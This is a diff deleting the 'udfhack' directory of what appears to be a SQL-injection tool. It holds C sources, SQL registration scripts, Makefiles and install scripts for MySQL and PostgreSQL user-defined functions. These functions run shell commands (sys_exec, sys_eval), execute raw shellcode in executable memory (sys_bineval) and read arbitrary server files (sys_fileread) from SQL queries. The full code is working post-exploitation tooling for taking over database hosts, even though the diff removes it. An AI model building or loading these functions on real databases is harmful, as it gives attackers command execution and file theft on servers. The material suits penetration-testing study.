-void sys_eval_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	FILE *pipe;
-	char *line;
-	unsigned long outlen, linelen;
-
-	line = (char *)malloc(1024);
-	result = (char *)malloc(1);
-	outlen = 0;
-
-    result[0] = (char)0;
-
-	pipe = popen(args->args[0], "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = (char *)realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (!(*result) || result == NULL) {
-		*is_null = 1;
-	} else {
-		result[outlen-1] = 0x00;
-		*length = strlen(result);
-	}
-
-	return result;
-}
-
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	return 0;
-}
-
-void sys_bineval_deinit(
-	UDF_INIT *initid
-){
-	
-}
-
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	len = (size_t)strlen(args->args[0]);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, args->args[0], len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		return 1;
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			return 1;
-
-		strncpy((char *)addr, args->args[0], len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	return 0;
-}
-
-#if defined(_WIN64)
-void __exec_payload(LPVOID);
-
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__exec_payload(lpParameter);
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
-#endif
-
-#endif /* HAVE_DLOPEN */

extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql

@@ -1,35 +0,0 @@
-/*
-        lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-        Copyright (C) 2007  Roland Bouman
-        Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-        web: http://www.mysqludf.org/
-        email: [email protected], [email protected]
-
-        This library is free software; you can redistribute it and/or
-        modify it under the terms of the GNU Lesser General Public
-        License as published by the Free Software Foundation; either
-        version 2.1 of the License, or (at your option) any later version.
-
-        This library is distributed in the hope that it will be useful,
-        but WITHOUT ANY WARRANTY; without even the implied warranty of
-        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-        Lesser General Public License for more details.
-
-        You should have received a copy of the GNU Lesser General Public
-        License along with this library; if not, write to the Free Software
-        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
-DROP FUNCTION IF EXISTS sys_get;
-DROP FUNCTION IF EXISTS sys_set;
-DROP FUNCTION IF EXISTS sys_exec;
-DROP FUNCTION IF EXISTS sys_eval;
-DROP FUNCTION IF EXISTS sys_bineval;
-
-CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';

extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile

@@ -1,16 +0,0 @@
-LIBDIR=/tmp
-
-8.4:
-	gcc-4.3 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
-	strip -sx lib_postgresqludf_sys.so
-	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
-
-8.3:
-	gcc-4.3 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
-	strip -sx lib_postgresqludf_sys.so
-	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
-
-8.2:
-	gcc-4.3 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
-	strip -sx lib_postgresqludf_sys.so
-	cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so

extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh

@@ -1,59 +0,0 @@
-#!/bin/bash
-# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
-# Copyright (C) 2009-2010  Bernardo Damele A. G.
-# web: http://bernardodamele.blogspot.com/
-# email: [email protected]
-# 
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-
-# Adapt the following settings to your environment
-USER="postgres"
-PORT="5434"
-VERSION="8.4"
-#PORT="5433"
-#VERSION="8.3"
-#PORT="5432"
-#VERSION="8.2"
-
-echo "Compiling the PostgreSQL UDF"
-make ${VERSION}
-
-if test $? -ne 0; then
-	echo "ERROR: You need postgresql-server development software installed"
-	echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
-
-	if test "${VERSION}" == "8.2"; then
-		echo "apt-get install postgresql-server-dev-8.2"
-	elif test "${VERSION}" == "8.3"; then
-		echo "apt-get install postgresql-server-dev-8.3"
-	elif test "${VERSION}" == "8.4"; then
-		echo "apt-get install postgresql-server-dev-8.4"
-	fi
-
-	exit 1
-else
-	echo "PostgreSQL UDF compiled successfully"
-fi
-
-echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
-
-psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
-
-if test $? -ne 0; then
-	echo "ERROR: unable to install the UDF"
-	exit 1
-else
-	echo "PostgreSQL UDF installed successfully"
-fi

extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c

@@ -1,277 +0,0 @@
-/* 
-	lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2009-2010  Bernardo Damele A. G.
-	web: http://bernardodamele.blogspot.com/
-	email: [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define _USE_32BIT_TIME_T
-#define DLLEXP __declspec(dllexport) 
-#define BUILDING_DLL 1
-#else
-#define DLLEXP
-#include <sys/mman.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#include <postgres.h>
-#include <fmgr.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <ctype.h>
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-#ifdef PG_MODULE_MAGIC
-PG_MODULE_MAGIC;
-#endif
-
-char *text_ptr_to_char_ptr(text *arg)
-{
-	char *retVal;
-	int arg_size = VARSIZE(arg) - VARHDRSZ;
-	retVal = (char *)malloc(arg_size + 1);
-
-	memcpy(retVal, VARDATA(arg), arg_size);
-	retVal[arg_size] = '\0';
-	
-	return retVal;
-}
-
-text *chr_ptr_to_text_ptr(char *arg)
-{
-	text *retVal;
-	
-	retVal = (text *)malloc(VARHDRSZ + strlen(arg));
-#ifdef SET_VARSIZE
-	SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
-#else
-	VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
-#endif
-	memcpy(VARDATA(retVal), arg, strlen(arg));
-	
-	return retVal;
-}
-
-PG_FUNCTION_INFO_V1(sys_exec);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	int32 result = 0;
-	char *command;
-
-	command = text_ptr_to_char_ptr(argv0);
-
-	/*
-	Only if you want to log
-	elog(NOTICE, "Command execution: %s", command);
-	*/
-
-	result = system(command);
-	free(command);
-
-	PG_FREE_IF_COPY(argv0, 0);
-	PG_RETURN_INT32(result);
-}
-
-PG_FUNCTION_INFO_V1(sys_eval);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	text *result_text;
-	char *command;
-	char *result;
-	FILE *pipe;
-	char *line;
-	int32 outlen, linelen;
-
-	command = text_ptr_to_char_ptr(argv0);
-
-	/*
-	Only if you want to log
-	elog(NOTICE, "Command evaluated: %s", command);
-	*/
-
-	line = (char *)malloc(1024);
-	result = (char *)malloc(1);
-	outlen = 0;
-
-    result[0] = (char)0;
-
-	pipe = popen(command, "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = (char *)realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (*result) {
-		result[outlen-1] = 0x00;
-	}
-
-	result_text = chr_ptr_to_text_ptr(result);
-
-	PG_RETURN_POINTER(result_text);
-}
-
-PG_FUNCTION_INFO_V1(sys_bineval);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	int32 argv0_size;
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	argv0_size = VARSIZE(argv0) - VARHDRSZ;
-	len = (size_t)argv0_size;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, VARDATA(argv0), len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		PG_RETURN_INT32(1);
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			PG_RETURN_INT32(1);
-
-		strncpy((char *)addr, VARDATA(argv0), len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	PG_RETURN_INT32(0);
-}
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__asm
-		{
-			mov eax, [lpParameter]
-			call eax
-		}
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-
-	}
-
-	return 0;
-}
-#endif
-
-#undef fopen
-
-PG_FUNCTION_INFO_V1(sys_fileread);
-#ifdef PGDLLIMPORT
-extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
-#else
-extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
-#endif
-	text *argv0 = PG_GETARG_TEXT_P(0);
-	text *result_text;
-	int32 len;
-	int32 i, j;
-	char *filename;
-	char *result;
-	char *buffer;
-	char table[] = "0123456789ABCDEF";
-	FILE *file;
-
-	filename = text_ptr_to_char_ptr(argv0);
-	
-	file = fopen(filename, "rb");
-	if (!file)
-	{
-		PG_RETURN_NULL();
-	}
-	fseek(file, 0, SEEK_END);
-	len = ftell(file);
-	fseek(file, 0, SEEK_SET);
-
-	buffer=(char *)malloc(len + 1);
-	if (!buffer)
-	{
-		fclose(file);
-		PG_RETURN_NULL();
-	}
-
-	fread(buffer, len, 1, file);
-	fclose(file);
-
-	result = (char *)malloc(2*len + 1);
-	for (i=0, j=0; i<len; i++)
-	{
-		result[j++] = table[(buffer[i] >> 4) & 0x0f];
-		result[j++] = table[ buffer[i]	   & 0x0f];
-	}
-	result[j] = '\0';
-	
-	result_text = chr_ptr_to_text_ptr(result);
-	
-	free(result);
-	free(buffer);
-	free(filename);
-
-	PG_RETURN_POINTER(result_text);
-}

extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql

@@ -1,25 +0,0 @@
-/* 
-	lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2009-2010  Bernardo Damele A. G.
-	web: http://bernardodamele.blogspot.com/
-	email: [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

extra/udfhack/linux/64/lib_mysqludf_sys/Makefile

@@ -1,9 +0,0 @@
-# For MySQL < 5.1
-LIBDIR=/usr/lib
-# For MySQL >= 5.1
-#LIBDIR=/usr/lib/mysql/plugin
-
-install:
-	gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -fPIC -o lib_mysqludf_sys.so
-	strip -sx lib_mysqludf_sys.so
-	cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

extra/udfhack/linux/64/lib_mysqludf_sys/install.sh

@@ -1,47 +0,0 @@
-#!/bin/bash
-# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-# Copyright (C) 2007  Roland Bouman 
-# Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-# web: http://www.mysqludf.org/
-# email: [email protected], [email protected]
-# 
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-
-# Adapt the following settings to your environment
-USER="root"
-PORT="3306"
-
-echo "Compiling the MySQL UDF"
-make
-
-if test $? -ne 0; then
-	echo "ERROR: You need libmysqlclient development software installed"
-	echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
-	echo "apt-get install libmysqlclient-dev"
-	exit 1
-else
-	echo "MySQL UDF compiled successfully"
-fi
-
-echo -e "\nPlease provide your MySQL root password"
-
-mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
-
-if test $? -ne 0; then
-	echo "ERROR: unable to install the UDF"
-	exit 1
-else
-	echo "MySQL UDF installed successfully"
-fi

extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c

@@ -1,567 +0,0 @@
-/* 
-	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2007  Roland Bouman 
-	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-	web: http://www.mysqludf.org/
-	email: [email protected], [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define DLLEXP __declspec(dllexport) 
-#else
-#define DLLEXP
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#ifdef STANDARD
-#include <string.h>
-#include <stdlib.h>
-#include <time.h>
-#ifdef __WIN__
-typedef unsigned __int64 ulonglong;
-typedef __int64 longlong;
-#else
-typedef unsigned long long ulonglong;
-typedef long long longlong;
-#endif /*__WIN__*/
-#else
-#include <my_global.h>
-#include <my_sys.h>
-#endif
-#include <mysql.h>
-#include <m_ctype.h>
-#include <m_string.h>
-#include <stdlib.h>
-
-#include <ctype.h>
-
-#ifdef HAVE_DLOPEN
-#ifdef	__cplusplus
-extern "C" {
-#endif
-
-#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
-
-#ifdef __WIN__
-#define SETENV(name,value)		SetEnvironmentVariable(name,value);
-#else
-#define SETENV(name,value)		setenv(name,value,1);		
-#endif
-
-DLLEXP 
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_get
- * 
- * Gets the value of the specified environment variable.
- */
-DLLEXP 
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_get_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_set
- * 
- * Sets the value of the environment variables.
- * This function accepts a set of name/value pairs
- * which are then set as environment variables.
- * Use sys_get to retrieve the value of such a variable 
- */
-DLLEXP 
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_set_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_exec
- * 
- * executes the argument commandstring and returns its exit status.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_exec_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_eval
- * 
- * executes the argument commandstring and returns its standard output.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_eval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_bineval
- * 
- * executes bynary opcodes.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-DLLEXP 
-void sys_bineval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-
-#ifdef	__cplusplus
-}
-#endif
-
-/**
- * lib_mysqludf_sys_info
- */
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	my_bool status;
-	if(args->arg_count!=0){
-		strcpy(
-			message
-		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
-		);
-		status = 1;
-	} else {
-		status = 0;
-	}
-	return status;
-}
-
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	strcpy(result,LIBVERSION);
-	*length = strlen(LIBVERSION);
-	return result;
-}
-
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count==1
-	&&	args->arg_type[0]==STRING_RESULT){
-		initid->maybe_null = 1;
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_get_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	char* value = getenv(args->args[0]);
-	if(value == NULL){
-		*is_null = 1;
-	} else {
-		*length = strlen(value);
-	} 
-	return value;
-}
-
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count!=2){
-		strcpy(
-			message
-		,	"Expected exactly two arguments"
-		);		
-		return 1;
-	}
-	if(args->arg_type[0]!=STRING_RESULT){
-		strcpy(
-			message
-		,	"Expected string type for name parameter"
-		);		
-		return 1;
-	}
-	args->arg_type[1]=STRING_RESULT;
-	if((initid->ptr=malloc(
-		args->lengths[0]
-	+	1
-	+	args->lengths[1]
-	+	1
-	))==NULL){
-		strcpy(
-			message
-		,	"Could not allocate memory"
-		);		
-		return 1;
-	}	
-	return 0;
-}
-
-void sys_set_deinit(
-	UDF_INIT *initid
-){
-	if (initid->ptr!=NULL){
-		free(initid->ptr);
-	}
-}
-
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){	
-	char *name = initid->ptr;
-	char *value = name + args->lengths[0] + 1; 
-	memcpy(
-		name
-	,	args->args[0]
-	,	args->lengths[0]
-	);
-	*(name + args->lengths[0]) = '\0';
-	memcpy(
-		value
-	,	args->args[1]
-	,	args->lengths[1]
-	);
-	*(value + args->lengths[1]) = '\0';
-	return SETENV(name,value);		
-}
-
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_exec_deinit(
-	UDF_INIT *initid
-){
-}
-
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){
-	return system(args->args[0]);
-}
-
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_eval_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	FILE *pipe;
-	char *line;
-	unsigned long outlen, linelen;
-
-	line = (char *)malloc(1024);
-	result = (char *)malloc(1);
-	outlen = 0;
-
-    result[0] = (char)0;
-
-	pipe = popen(args->args[0], "r");
-
-	while (fgets(line, sizeof(line), pipe) != NULL) {
-		linelen = strlen(line);
-		result = (char *)realloc(result, outlen + linelen);
-		strncpy(result + outlen, line, linelen);
-		outlen = outlen + linelen;
-	}
-
-	pclose(pipe);
-
-	if (!(*result) || result == NULL) {
-		*is_null = 1;
-	} else {
-		result[outlen-1] = 0x00;
-		*length = strlen(result);
-	}
-
-	return result;
-}
-
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	return 0;
-}
-
-void sys_bineval_deinit(
-	UDF_INIT *initid
-){
-	
-}
-
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-){
-	size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	int pID;
-	char *code;
-#else
-	int *addr;
-	size_t page_size;
-	pid_t pID;
-#endif
-
-	len = (size_t)strlen(args->args[0]);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-	// allocate a +rwx memory page
-	code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-	strncpy(code, args->args[0], len);
-
-	WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
-	pID = fork();
-	if(pID<0)
-		return 1;
-
-	if(pID==0)
-	{
-		page_size = (size_t)sysconf(_SC_PAGESIZE)-1;	// get page size
-		page_size = (len+page_size) & ~(page_size);		// align to page boundary
-
-		// mmap an rwx memory page
-		addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
-		if (addr == MAP_FAILED)
-			return 1;
-
-		strncpy((char *)addr, args->args[0], len);
-
-		((void (*)(void))addr)();
-	}
-
-	if(pID>0)
-		waitpid(pID, 0, WNOHANG);
-#endif
-
-	return 0;
-}
-
-#if defined(_WIN64)
-void __exec_payload(LPVOID);
-
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
-	__try
-	{
-		__exec_payload(lpParameter);
-	}
-	__except(EXCEPTION_EXECUTE_HANDLER)
-	{
-	}
-
-	return 0;
-}
